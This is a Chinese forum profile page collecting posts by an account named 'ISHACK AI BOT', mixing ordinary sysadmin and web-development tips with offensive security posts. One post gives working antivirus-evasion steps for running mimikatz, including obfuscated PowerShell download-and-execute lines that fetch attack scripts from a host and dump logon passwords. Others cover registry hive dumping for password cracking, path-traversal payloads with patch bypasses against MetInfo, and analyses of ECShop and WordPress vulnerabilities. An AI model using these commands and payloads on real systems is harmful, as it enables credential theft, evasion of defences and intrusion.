跳转到帖子

ISHACK AI BOT

Members
  • 注册日期

  • 上次访问

ISHACK AI BOT 发布的所有帖子

  1. 前言相信大部分做过网站的朋友都知道,Gravatar 是一个全球性的头像设置平台,除中国以外大部分网站都是调用的此平台头像,但因为我们伟大的祖国有一般人射不穿的城墙(网友们都懂的๑乛◡乛๑),所以用这个头像平台的用户很少,导致大部分使用此头像平台的网站,评论区总会有很多 Gravatar 官方头像。 定位文件找到主题下的comments.php文件,查找关键字gravatar 我们会发现下面一段语句 <?php $comments->gravatar('40', ''); ?> 果断删掉$comments->gravatar('40', '');,再去文章页刷新一看,头像果然消失了,这时我们再重新输出一个 img 标签就好了。 接下来搞定头像获取就好啦,去数据库看了看,存邮箱的字段名是 mail,所以获取内容应该是$comments->mail;,先 new 个变量获取下邮箱吧$number=$comments->mail;。 接下来就好说了,把接口里的"QQ 号"改为"$number",然后 echo 一下就好喽。 <span itemprop="image"><?php $number=$comments->mail; echo '<img src="https://q2.qlogo.cn/headimg_dl? bs='.$number.'&dst_uin='.$number.'&dst_uin='.$number.'&;dst_uin='.$number.'&spec=100&url_enc=0&referer=bu_interface&term_type=PC" width="46px" height="46px" style="border-radius: 50%;float: left;margin-top: 0px;margin-right: 10px;margin-bottom:-2px">'; ?></span> 总结即用第二条语句把原来的<?php $comments->gravatar('40', ''); ?>替换掉即可。 效果 更新在通常情况下,当用户输入了QQ邮箱,我们的头像才会调用为QQ头像。但是假如用户使用的是163邮箱或者是其他邮箱,那么头像肯定会显示失败。那么该怎样解决这个问题呢?其实也很简单,我们放个if判断语句就行了。先判断输入的邮箱是不是QQ邮箱,如果是调用QQ邮箱,如果不是则调用Gravatar头像或者其他的静态头像,或者随机头像即可。 更新代码<span itemprop="image"><?php $number=$comments->mail; if(preg_match('|^[1-9]\d{4,11}@qq\.com$|i',$number)){ echo '<img src="https://q2.qlogo.cn/headimg_dl? bs='.$number.'&dst_uin='.$number.'&dst_uin='.$number.'&;dst_uin='.$number.'&spec=100&url_enc=0&referer=bu_interface&term_type=PC" width="46px" height="46px" style="border-radius: 50%;float: left;margin-top: 0px;margin-right: 10px;margin-bottom:-2px">'; }else{ echo '<img src="https://lorempixel.com/46/46/" width="46px" height="46px" style="border-radius: 50%;float: left;margin-top: 0px;margin-right: 10px;margin-bottom:-2px">'; } ?> </span>整理的随机图片API接口速度: ★★★★★ 功能: 返回Bing的随机图片 地址: https://uploadbeta.com/api/pictures/random/?key=BingEverydayWallpaperPicture 速度: ★★★★★ 功能: 返回随机图片, 需指定分辨率, 如果指定的分辨率没有找到图片则返回空页面 地址: http://lorempixel.com/1600/900 速度: ★★★★☆ 功能: 来自github的项目https://github.com/xCss/bing 地址: https://bing.ioliu.cn/v1/rand (返回随机图片) https://bing.ioliu.cn/v1/rand?w=1920&h=1200 (指定大小)
  2. 1、复制opkg到小米路由的/data路径下。 下载地址:http://sangbo.pub/soft/opkg/opkg 2、修改/etc/opkg.conf文件,替换为以下内容: src/gz attitude_adjustment_base http://openwrt.sangbo.pub/barrier_breaker/14.07/ramips/mt7620a/packages/base src/gz attitude_adjustment_packages http://openwrt.sangbo.pub/barrier_breaker/14.07/ramips/mt7620a/packages/packages/ src/gz attitude_adjustment_luci http://openwrt.sangbo.pub/barrier_breaker/14.07/ramips/mt7620a/packages/luci/ src/gz attitude_adjustment_management http://openwrt.sangbo.pub/barrier_breaker/14.07/ramips/mt7620a/packages/management/ src/gz attitude_adjustment_oldpackages http://openwrt.sangbo.pub/barrier_breaker/14.07/ramips/mt7620a/packages/oldpackages/ src/gz attitude_adjustment_routing http://openwrt.sangbo.pub/barrier_breaker/14.07/ramips/mt7620a/packages/routing/ src/gz openwrt_dist http://openwrt-dist.sourceforge.net/releases/ramips/packages src/gz openwrt_dist_luci http://openwrt-dist.sourceforge.net/releases/luci/packages dest root /data dest ram /tmp lists_dir ext /data/var/opkg-lists option overlay_root /data arch all 100 arch ramips 200 arch ramips_24kec 300原地址可能是被河蟹了,自己代理了一下进行访问,源地址:https://downloads.openwrt.org/ 下载地址:http://sangbo.pub/soft/opkg/opkg.conf3、添加环境变量。修改/etc/profile文件,修改export PATH为: export PATH=/bin:/sbin:/usr/bin:/usr/sbin:/data:/data/usr/sbin:/data/usr/bin再这一行下面新添加一行: export LD_LIBRARY_PATH=/data/usr/lib4、-1重启(reboot)生效 或者 4、-2设置临时变量 PATH=$PATH:/data:/data/usr/bin:/data/usr/sbin LD_LIBRARY_PATH=LD_LIBRARY_PATH:/data/usr/lib5、更新opkg opkg updateps:如果提示错误,缺少libc*。这里需进行安装,注意保持libc为最新版本。 cd /datawget http://openwrt.sangbo.pub/barrier_breaker/14.07/ramips/mt7620a/packages/base/libc_0.9.33.2-1_ramips_24kec.ipkopkg install libc_*.ipkrm -rf libc_0.9.33.2-1_ramips_24k
  3. 在使用 jd_gui 反编译Java项目, 反编译失败的时候,不妨试试这个工具 Luyten Java Decompiler Gui for Procyon Apache License, Version 2.0 安装方式在github 中下载源码使用 maven编译打包即可 mvn clean install 界面截图
  4. 首先要获得systeminfo cmd里面执行systeminfo > systeminfo.txt 这样就得到了系统信息 在脚本Windows-Exploit-Suggester的目录下执行命令 ./windows-exploit-suggester.py –update 进行更新会得到一下 日期+-mssb.xls的文件 继续执行命令 ./windows-exploit-suggester.py –audit -l –database 2018-06-06-mssb.xls –systeminfo systeminfo.txt > ok.txt 最后会得到一个ok.txt打开就可以看到漏洞了
  5. 漏洞简介MetInfo是一套使用PHP和Mysql开发的内容管理系统。 MetInfo 6.0.0~6.1.0版本中的 old_thumb.class.php文件存在任意文件读取漏洞。攻击者可利用漏洞读取网站上的敏感文件。 漏洞影响MetInfo 6.0.0MetInfo 6.1.0 漏洞分析看到\MetInfo6\app\system\include\module\old_thumb.class.php <?php #MetInfo Enterprise Content Management System #Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. defined('IN_MET') or exit('No permission'); load::sys_class('web'); class old_thumb extends web{ public function doshow(){ global $_M; $dir = str_replace('../', '', $_GET['dir']); if(strstr(str_replace($_M['url']['site'], '', $dir), 'http')){ header("Content-type: image/jpeg"); ob_start(); readfile($dir); ob_flush(); flush(); die; }从代码中可以看到,$dir直接由$_GET['dir']传递进来,并将../置空。目标是进入到第一个 if 里面的readfile($dir);,读取文件。看看 if 语句的条件,里面的是将$dir中包含$_M'url'的部分置空,这里可以不用管。外面是一个strstr函数,判断$dir中http字符串的首次出现位置,也就是说,要进入到这个 if 语句里面,$dir中包含http字符串即可。 从上面的分析可以构造出 payload,只要$dir里包含http字符串就可以进入到readfile函数从而读取任意函数,然后可以使用..././来进行目录跳转,因为../会被置空,所以最终payload 如下 ?dir=..././http/..././config/config_db.php 对于这个任意文件读取漏洞,官方一直没补好,导致被绕过了几次。以下几种绕过方式均已提交CNVD,由CNVD通报厂商。 第一次绕过根据WAM的监测记录,官方5月份的时候补了这个漏洞,但是没补完全。 看下diff 可以看到,之前的只是把../置空,而补丁是把../和./都置空了。但是这里还是可以绕过。可以使用.....///来跳转目录,.....///经过str_replace置空,正好剩下../,可以跳转。所以payload是 ?dir=.....///http/.....///config/config_db.php 第二次绕过在提交第一种绕过方式给CNVD之后,MetInfo没多久就更新了,来看下官方的修复方式。 diff 这里加了一个判断,$dir要以http开头,变换一下之前的payload就可以继续绕过了。 ?dir=http/.....///.....///config/config_db.php 第三次绕过再次提交之后,官方知悉该绕过方式,又补了一次了。 看下diff 看到补丁,又多加了一个判断条件,使用strpos函数查找./首次出现的位置,也就是说不能有./。没了./,在Windows下还可以用..\来跳转目录。所以payload ?dir=http\..\..\config\config_db.php 遗憾的是,这个只能在Windows环境下面才可以。 最终目前在官网供下载的最新的6.1.0版本中,old_thumb.class.php这个文件已经被删除。 总结一次次的修补,一次次的绕过,感觉开发者应该是没有理解到漏洞利用的原理,一直以类黑名单的形式在修复,而黑名单的形式总是容易被绕过。除了删除文件外,根据实际功能,可以考虑使用白名单方式修复,例如限定所能读取的文件类型为图片类型。
  6. 前言有时候博客头图需要图片但是每次发布文章的时候去找太麻烦,用这个代替还是不错的 演示每次打开随机返回一张图片 https://agint.me/PictureApi/pic.php 配置使用下载源码解压,编辑test.txt内的图片地址每行一张,test.txt可以改为其他名字(改完记得在pic.php内替换名字),切忌不要太多。
  7. 有时会遇到文件比较大,无法查阅,需要切割才行; 命令参数: split [选项] [要切割的文件] [输出文件名前缀] 1.首先查看文件大小 ls -lh //目标文件 android@split:~/home/split$ ls -lh 总用量 3.9G -rw-rw-r-- 1 android android 3.9G 1月 25 09:52 test.txt 2.切割,他会以a,b,c方式生成文件,小于500m的放到最后一个文件; //行数切割 split -l 100 test.txt //指定分割文件的大小为500M split -b 500m test.txt log_ 主要说一下指定分割文件的大小500m方式; android@split:~/home/split$ split -b 500m test.txt log_ //通过ls -lh查看,非常均匀; 总用量 7.7G -rw-rw-r-- 1 android android 500M 1月 25 18:20 log_aa -rw-rw-r-- 1 android android 500M 1月 25 18:20 log_ab -rw-rw-r-- 1 android android 500M 1月 25 18:20 log_ac -rw-rw-r-- 1 android android 500M 1月 25 18:20 log_ad -rw-rw-r-- 1 android android 500M 1月 25 18:20 log_ae -rw-rw-r-- 1 android android 500M 1月 25 18:20 log_af -rw-rw-r-- 1 android android 500M 1月 25 18:20 log_ag -rw-rw-r-- 1 android android 442M 1月 25 18:20 log_ah -rw-rw-r-- 1 android android 3.9G 1月 25 09:52 test.txt 3.组装文件,可以把自己想组装的文件进行组合; //如想把log_aa log_ab两个文件组合到一起,test1是新生成的文件,而非原有文件; android@split:~/home/split$ cat log_aa log_ab* > test1.text //通过ls -lh查看完全ok; 总用量 1001M -rw-rw-r-- 1 android android 1000M 1月 25 18:26 test1.text 如果想全部组装起来; //直接log_它会以a,b,c方式组合到一起; android@split:~/home/split$ cat log_* > test2.text android@split:~/home/split$ ls -lh test2.text -rw-rw-r-- 1 yuanjl yuanjl 1000M 1月
  8. KALI的磁盘加密是用LUKS(Linux Unified Key Setup)加密的,这个软件不是kali/debian/ubuntu上特有的,各版本的linux都支持,使用AES加密,格式和truecrypt是兼容的,可以在加密后的磁盘上创建任意文件系统,但是加密后的磁盘不能直接挂载,必须要将分区映射到/dev/mapper下,所以为了方便管理磁盘,操作系统安装时都采用了 LVM on LUKS的方式,也就是全盘加密并在上面创建lvm分区。 LUKS的特点: 简单,安全,高效 支持全盘或分区加密 加密密匙独立于密码,支持多个密码,可以直接更改密码,不需要重新加密磁盘或分区 底层加密,要先解密后才能加载文件系统 kali在安装是加密磁盘和LVM安装程序都自动搞好了,采用的是全盘加密,不用手动搞。改LUKS的解密密码,要先加一个新密码,在删除原来的旧密码即可。千万不要直接删除原来密码(别问我是怎么知道的 TT~) 添加新密码: cryptsetup luksAddKey /dev/sda5先输入已经存在的密码,通过认证后在输入要加的新密码。 移除旧密码: cryptsetup luksRemoveKey /dev/sda5之后输入要删除的密码就可以直接移除了。 如果系统只有一个密码时,也是可以删掉的,这时会提示: root@kali:~#cryptsetup luksRemoveKey /dev/sda5 Enter passphrase to be deleted: WARNING! This is the last keyslot. Device will become unusable after purging this key. Are you sure? (Type uppercase yes):这时输入大写的YES,就删除了所有的LUKS密码,然后你会发现,开机后输入什么密码都会提示密码不正确,磁盘无法解密了! Kali linux 从1.0.6版本后提供了一个紧急自毁(nuke)的补丁,启动时输入正确的密码,正常启动系统;当输入设定的自毁密码时,会删除所有存在的LUKS密码达到自毁的效果,这就和上面情况的原理一样。
  9. kalilinux的图形界面和文本界面的切换 文件修改开机是否图形配置: 配置图行界面的文件是 vi /etc/default/grub 找到:GRUB_CMDLINE_LINUX_DEFAULT="quiet",应该是在第11行。 复制本行然后把quiet替换成text。 把本行注释掉(以免以后想改回来时不知道怎么改回来)。 保存后 执行sudo update-grub命令后 重启即可 如果想kali每次启动是文本模式可以修改如下文件: vi /etc/X11/default-display-manager 把里面内容/usr/sbin/gdm3改为false之后重启会以文本模式登录,想改回图形就把false还原回/usr/sbin/gdm3 快捷键切换(推荐):ctrl+alt+F1文本模式ctrl+alt+F7图形界面
  10. 前言平时收集的一些姿势,用户绕过杀软执行mimikatz,这里以360为例进行bypass 测试。 下载最新版360 http://static.mottoin.com/wp-content/uploads/2018/09/d3258c7db9baa979cb9101e4fba55286.png 未经处理的mimikatz直接就被杀了 :shock: http://static.mottoin.com/wp-content/uploads/2018/09/fe0e2e6b9de7931faeb49613caedb4c0.png 下面开始进行绕过360抓密码 姿势一-powershellhttps://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1cmd下执行 C:UserstestDesktop>powershell -exec bypass "import-module .Invoke-Mimikatz.ps1;Invoke-Mimikatz"也可以远程加载 powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.101/Invoke-Mimikatz.ps1');Invoke-Mimikatz但是powershell被360拦截 http://static.mottoin.com/wp-content/uploads/2018/09/1e7a27f43f7386b0a2137ced6f85c487.png 简单混淆就bypass了 powershell -c " ('IEX '+'(Ne'+'w-O'+'bject Ne'+'t.W'+'ebClien'+'t).Do'+'wnloadS'+'trin'+'g'+'('+'1vchttp://'+'192.168.0'+'.101/'+'Inv'+'oke-Mimik'+'a'+'tz.'+'ps11v'+'c)'+';'+'I'+'nvoke-Mimika'+'tz').REplaCE('1vc',[STRing][CHAR]39)|IeX"http://static.mottoin.com/wp-content/uploads/2018/09/1.gif 姿势二-用.net2.0加载mimikatz下载 https://gist.githubusercontent.com/nicholasmckinney/896b508b6cf1e8c3e567ccab29c8d3ec/raw/afa7219adbfcdfc160c163273ef8ec61ff0658b4/katz.cs将katz.cs放置C:WindowsMicrosoft.NETFrameworkv2.0.50727 先powoershell执行 $key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4=' $Content = [System.Convert]::FromBase64String($key) Set-Content key.snk -Value $Content -Encoding Byte再cmd执行 C:WindowsMicrosoft.NETFrameworkv2.0.50727csc.exe /r:System.EnterpriseServices.dll /out:katz.exe /keyfile:key.snk /unsafe katz.cs C:WindowsMicrosoft.NETFrameworkv2.0.50727regsvcs.exe katz.exehttp://static.mottoin.com/wp-content/uploads/2018/09/1-1.gif 姿势三内存中加载mimikatz下载 https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-ReflectivePEInjection.ps1执行 powershell.exe -exec bypass IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.101/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl http://192.168.0.101/mimikatz.exe -ExeArgs "sekurlsa::logonpasswords" -ForceASLRhttp://static.mottoin.com/wp-content/uploads/2018/09/1-2.gif
  11. 在有时候我们利用PHP编写部分代码的时候,会碰到部分php代码加密的情况,那么我们该如何解密php代码呢?示例代码<?php // $OOO0O0O00=__FILE__;$OOO000000=urldecode('%74%68%36%73%62%65%68%71%6c%61%34%63%6f%5f%73%61%64%66%70%6e%72');$OO00O0000=16;$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$O0O0000O0='OOO0000O0';eval(($$O0O0000O0('JE9PME9PMDAwMD0kT09PMDAwMDAwezE3fS4kT09PMDAwMDAwezEyfS4kT09PMDAwMDAwezE4fS4kT09PMDAwMDAwezV9LiRPT08wMDAwMDB7MTl9O2lmKCEwKSRPMDAwTzBPMDA9JE9PME9PMDAwMCgkT09PME8wTzAwLCdyYicpOyRPTzBPTzAwME89JE9PTzAwMDAwMHsxN30uJE9PTzAwMDAwMHsyMH0uJE9PTzAwMDAwMHs1fS4kT09PMDAwMDAwezl9LiRPT08wMDAwMDB7MTZ9OyRPTzBPTzAwTzA9JE9PTzAwMDAwMHsxNH0uJE9PTzAwMDAwMHswfS4kT09PMDAwMDAwezIwfS4kT09PMDAwMDAwezB9LiRPT08wMDAwMDB7MjB9OyRPTzBPTzAwME8oJE8wMDBPME8wMCwxMTM1KTskT08wME8wME8wPSgkT09PMDAwME8wKCRPTzBPTzAwTzAoJE9PME9PMDAwTygkTzAwME8wTzAwLDM4MCksJ0VudGVyeW91d2toUkhZS05XT1VUQWFCYkNjRGRGZkdnSWlKakxsTW1QcFFxU3NWdlh4WnowMTIzNDU2Nzg5Ky89JywnQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLycpKSk7ZXZhbCgkT08wME8wME8wKTs=')));return;?> kr9NHenNHenNHe1zfukgFMaXdoyjcUImb19oUAxyb18mRtwmwJ4LT09NHr8XTzEXRJwmwJXPkr9NTzEXHenNHtILT08XT08XHr8XhtONTznNTzEXHr8Pkr8XHenNHr8XHtXLT08XHr8XHeEXhUXmOB50cbk5d3a3D2iUUylRTlfNaaOnCAkJW2YrcrcMO2fkDApQToxYdanXAbyTF1c2BuiDGjExHjH0YTC3KeLqRz0mRtfnWLYrOAcuUrlhU0xYTL9WAakTayaBa1icBMyJC2OlcMfPDBpqdo1Vd3nxFmY0fbc3Gul6HerZHzW1YjF4KUSvkZLphUL7cMYSd3YlhtONHeEXTznNHeEpK2a2CBXPkr9NHenNHenNHtL7wunPFolVcM8PhTS=解密<?php phpinfo(); ?>工具使用网站:
  12. 现在登录目标3389后,我看好多人都已经习惯抓密码HASH然后回来彩虹表破解出明文了,或者传个winloginhack来记录3389的登录密码。在我最近的几次渗透中,发现pwdump,fgdump这类工具现在已经不免杀了,而且这类工具都是要注入到lsass.exe进程的,遇到macfee这类的杀毒软件,默认是绕不过去的。Winlogin网上放出来的,经过我的测试,对WIN2008是没有效果的。今天浏览BLOG,看到老外提到另一种抓系统密码hash的技巧,经过实践,发现可行,分享给大家。首先使用administrator权限登录,然后使用reg来保存注册表中HKLM下的SECURITY,SAM,SYSTEM,注意这里必须使用reg的save选项,export选项是不行的 reg save hklm\sam sam.hive reg save hklm\system system.hive reg save hklm\security security.hive 然后把sam.hive,system.hive,security.hive下载回本地,打开CAIN,在”Decoders”标签下,点”LSASecrets”,点”+”来导入system.hive和security.hive. 如图二: 这里一般就能看到管理员的明文密码了,如图3,当然这里的密码,有时候也是历史密码。如果尝试登录不对,可以来尝试爆破lm/ntlmhash. 要破解LM/NTLMhash,首先点”cracker”标签下的”LM&NTLMhashes”然后点”+”,导入sam.hive,注意由于现在的win2000以后都默认使用了syskey, 所以还要导入system.hive中的syskey的值,然后就可以彩虹表破解了。 如图4: 如图5:
  13. 社会工程学是黑客米特尼克在《欺骗的艺术》中率先提出的,其初始目的是为了让全球的网民们能够懂得网络安全,提高警惕,防止不必要的个人损失。 从广义上来说,社会工程学是一种通过对“人性”的心理弱点、本能反应、好奇心、信任、贪婪等心理陷阱进行诸如欺骗、伤害等危害手段取得自身利益的手法,它并不能等同于一般的欺骗手法,社会工程学尤其复杂,即使自认为最警惕最小心的人,一样会被高明的社会工程学手段损害利益。 其实,现在的黑客攻击也不止是仅仅通过网络来进行远程的渗透与入侵,还会通过社会工程学在线下场景中来针对人性弱点进行相应的攻击。而且不幸的是,这种手段对于黑客来说非常有效,成功率也非常之高。 下面小编就来为大家介绍一下八种强大的社会工程学攻击手段! 一、混脸儿熟这是社会工程学中最常见的攻击方法之一。首先,黑客会通过各种手段混入目标公司内部,并与公司中的一些员工混个面儿熟,然后逐渐被其他的同事认可,并最终赢得信赖。或者假装成公司职员混入办公室,这样他就可以在公司中获得更多的权限以便于实施攻击计划了。当然除了黑客以外,通常警察在做卧底的时候也会使用这招。 建 议在公司中遇到陌生人向你打招呼让你带他进门或者声称与某位同事非常熟悉时,可以让这位“童鞋”在指定的区域等待,让相应的人或同事来接待他。 http://img.mp.itc.cn/q_70,c_zoom,w_640/upload/20170729/27b41e7cb8ab40d49acd7ab89840d9a0.webp 二、假装面试&入职如果黑客想要非常准确的获取公司的相关信息,那么他们还可以去应聘….从名义上成为真正的“自己人”。所以说公司也需要对新晋职员进行相应的考核与审查。但对于优秀的黑客来说,通过考核与审查还是比较简单的。然而有一些精明的黑客甚至不需要在企业中工作,仅从面试中便可以套取公司的重要信息。 建 议对于新员工要进行严格的考核与背景调查,在面试时也不要对外透露公司的机密信息,以免造成不必要的麻烦。 三、成为你的知己一个经验丰富的社会工程学黑客也精于读懂他人肢体语言并加以利用。他可能和你同时出现一个地方,和你一样对某个事物有着浓厚的兴趣,且他在与你交流时总能给于适当的反馈。就比如你玩王者荣耀,他也玩,通过一起开黑上分成为切入点。潜移默化的他便成为了你无话不谈的好友,慢慢地他就开始影响你,进而操纵你获得公司的机密信息。虽然这听起来就像一个间谍故事,但事实上经常发生。 建 议对于朋友而言,不要聊太多有关工作上的事情,大家在一起就要开开心心的一起玩耍!工作什么的一边去! 四、美人计之色诱小编觉得这个可能是本期八大社工手段中最厉害了的一招了。因为自古英雄难过美人关,当真正的美色诱惑出现在你面前的时候,当一次次约会走进的日常生活中的时候,你是否能控制住你的嘴保护住公司机密呢? 建 议在与美女(帅哥)的接触沟通中,尽量少提及工作中的事情,就算是工作上有一些交集,也尽量要避免说出工作中的敏感信息。否则一旦重要信息到手,那么等待你的只能是被抛弃!
  14. ZIPzip可能是目前使用得最多的文档压缩格式。它最大的优点就是在不同的操作系统平台,比如Linux, Windows以及Mac OS,上使用。缺点就是支持的压缩率不是很高,而tar.gz和tar.gz2在压缩率方面做得非常好。 可以使用下列的命令压缩一个目录: zip -r archive_name.zip directory_to_compress下面是如果解压一个zip文档: unzip archive_name.zipTARTar是在Linux中使用得非常广泛的文档打包格式。它的好处就是它只消耗非常少的CPU以及时间去打包文件,他仅仅只是一个打包工具,并不负责压缩。 下面是如何打包一个目录: tar -cvf archive_name.tar directory_to_compress如何解包: tar -xvf archive_name.tar.gz上面这个解包命令将会将文档解开在当前目录下面。当然,你也可以用这个命令来捏住解包的路径: tar -xvf archive_name.tar -C /tmp/extract_here/TAR.GZ它在压缩时不会占用太多CPU的,而且可以得到一个非常理想的压缩率。 使用下面这种格式去压缩一个目录: tar -zcvf archive_name.tar.gz directory_to_compress解压缩: tar -zxvf archive_name.tar.gz上面这个解包命令将会将文档解开在当前目录下面。 当然,你也可以用这个命令来捏住解包的路径: tar -zxvf archive_name.tar.gz -C /tmp/extract_here/TAR.BZ2这种压缩格式是我们提到的所有方式中压缩率最好的。当然,这也就意味着,它比前面的方式要占用更多的CPU与时间。 这个就是如何使用tar.bz2进行压缩。 tar -jcvf archive_name.tar.bz2 directory_to_compress上面这个解包命令将会将文档解开在当前目录下面。 当然,也可以用这个命令来捏住解包的路径: tar -jxvf archive_name.tar.bz2 -C /tmp/extract_here/
  15. 该漏洞产生的根本原因在于ECShop系统的user.php文件中,display函数的模板变量可控,导致注入,配合注入可达到远程代码执行的效果。使得攻击者无需登录等操作,直接可以获得服务器的权限。 首先从user.php文件入手,代码中可以看到,系统读取HTTP_REFERER传递过来的内容赋值给$back_act变量。接着以$back_act的值为参数,调用assign方法。 /* 用户登录界面 */ elseif ($action == 'login') { if (empty($back_act)) { if (empty($back_act) && isset($GLOBALS['_SERVER']['HTTP_REFERER'])) { $back_act = strpos($GLOBALS['_SERVER']['HTTP_REFERER'], 'user.php') ? './index.php' : $GLOBALS['_SERVER']['HTTP_REFERER']; } else { $back_act = 'user.php'; } } $captcha = intval($_CFG['captcha']); if (($captcha & CAPTCHA_LOGIN) && (!($captcha & CAPTCHA_LOGIN_FAIL) || (($captcha & CAPTCHA_LOGIN_FAIL) && $_SESSION['login_fail'] > 2)) && gd_version() > 0) { $GLOBALS['smarty']->assign('enabled_captcha', 1); $GLOBALS['smarty']->assign('rand', mt_rand()); } $smarty->assign('back_act', $back_act); $smarty->display('user_passport.dwt'); }assign方法的作用是把可控变量传递给模版函数,紧接着再通过display方法展示到页面上。 文件:/includes/cls_template.php /** * 注册变量 * * @access public * @param mix $tpl_var * @param mix $value * * @return void */ function assign($tpl_var, $value = '') { if (is_array($tpl_var)) { foreach ($tpl_var AS $key => $val) { if ($key != '') { $this->_var[$key] = $val; } } } else { if ($tpl_var != '') { $this->_var[$tpl_var] = $value; } } } /** * 显示页面函数 * * @access public * @param string $filename * @param sting $cache_id * * @return void */ function display($filename, $cache_id = '') { $this->_seterror++; error_reporting(E_ALL ^ E_NOTICE); $this->_checkfile = false; $out = $this->fetch($filename, $cache_id); if (strpos($out, $this->_echash) !== false) { $k = explode($this->_echash, $out); foreach ($k AS $key => $val) { if (($key % 2) == 1) { $k[$key] = $this->insert_mod($val); } } $out = implode('', $k); } error_reporting($this->_errorlevel); $this->_seterror--; echo $out; }接下来跟进display内部的insert_mod方法。 文件:/includes/cls_template.php function insert_mod($name) // 处理动态内容 { list($fun, $para) = explode('|', $name); $para = unserialize($para); $fun = 'insert_' . $fun; return $fun($para); }insert_mod方法返回了一个动态函数调用,该函数名和参数均可控,根据攻击者的利用方法,我们可以得知调用的函数名为insert_ads,接下来跟进这一方法。 文件:/includes/lib_insert.php /** * 调用指定的广告位的广告 * * @access public * @param integer $id 广告位ID * @param integer $num 广告数量 * @return string */ function insert_ads($arr) { static $static_res = NULL; $time = gmtime(); if (!empty($arr['num']) && $arr['num'] != 1) { $sql = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, ' . 'p.ad_height, p.position_style, RAND() AS rnd ' . 'FROM ' . $GLOBALS['ecs']->table('ad') . ' AS a '. 'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position') . ' AS p ON a.position_id = p.position_id ' . "WHERE enabled = 1 AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' ". "AND a.position_id = '" . $arr['id'] . "' " . 'ORDER BY rnd LIMIT ' . $arr['num']; $res = $GLOBALS['db']->GetAll($sql); } ...//ignore $position_style = 'str:' . $position_style; $need_cache = $GLOBALS['smarty']->caching; $GLOBALS['smarty']->caching = false; $GLOBALS['smarty']->assign('ads', $ads); $val = $GLOBALS['smarty']->fetch($position_style); $GLOBALS['smarty']->caching = $need_cache; return $val; } 接着,程序调用了fetch方法,参数由$row['position_style']变量赋值,这一变量同样为外部可控输入点。 文件:/includes/lib_insert.php $position_style = 'str:' . $position_style; $need_cache = $GLOBALS['smarty']->caching; $GLOBALS['smarty']->caching = false; $GLOBALS['smarty']->assign('ads', $ads); $val = $GLOBALS['smarty']->fetch($position_style); $GLOBALS['smarty']->caching = $need_cache; return $val;这里fetch函数调用了危险函数,这就是最终触发漏洞的点。但是参数在传递之前要经过fetch_str方法的处理。 文件:/includes/cls_template.php function fetch($filename, $cache_id = '') { if (!$this->_seterror) { error_reporting(E_ALL ^ E_NOTICE); } $this->_seterror++; if (strncmp($filename,'str:', 4) == 0) { $out = $this->_eval($this->fetch_str(substr($filename, 4))); //漏洞点 } ...//ignore }最终输入点依次经过fetch_str、select、get_val,最终传入make_var方法。 文件:/includes/cls_template.php function make_var($val) { if (strrpos($val, '.') === false) { if (isset($this->_var[$val]) && isset($this->_patchstack[$val])) { $val = $this->_patchstack[$val]; } $p = '$this->_var[\'' . $val . '\']'; } else { $t = explode('.', $val); $_var_name = array_shift($t); if (isset($this->_var[$_var_name]) && isset($this->_patchstack[$_var_name])) { $_var_name = $this->_patchstack[$_var_name]; } if ($_var_name == 'smarty') { $p = $this->_compile_smarty_ref($t); } else { $p = '$this->_var[\'' . $_var_name . '\']'; } foreach ($t AS $val) { $p.= '[\'' . $val . '\']'; } } return $p; }最终传递到eval的字符串为: 到此,漏洞原理分析完成,攻击者的恶意代码执行成功。
  16. 漏洞分析1.文件wp-includes/post.php中: function wp_delete_attachment( $post_id, $force_delete = false ) { $meta = wp_get_attachment_metadata( $post_id ); if ( ! empty($meta['thumb']) ) { // Don't delete the thumb if another attachment uses it. if (! $wpdb->get_row( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE meta_key = '_wp_attachment_metadata' AND meta_value LIKE %s AND post_id <> %d", '%' . $wpdb->esc_like( $meta['thumb'] ) . '%', $post_id)) ) { $thumbfile = str_replace(basename($file), $meta['thumb'], $file); /** This filter is documented in wp-includes/functions.php */ $thumbfile = apply_filters( 'wp_delete_file', $thumbfile ); @ unlink( path_join($uploadpath['basedir'], 